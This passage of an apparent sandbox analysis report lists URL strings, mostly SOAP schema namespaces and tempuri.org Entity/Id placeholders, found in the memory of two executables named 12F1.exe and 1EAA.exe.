Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: 12F1.exe, 00000009.00000002.975014024.00000000032C2000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961234629.0000000002950000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: 12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978366259.00000000035BF000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975014024.00000000032C2000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978687020.00000000036EC000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978458353.0000000003621000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseH
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseP
Source: 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978687020.00000000036EC000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22ResponseH
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22ResponseP
Source: 12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978636240.00000000036E8000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
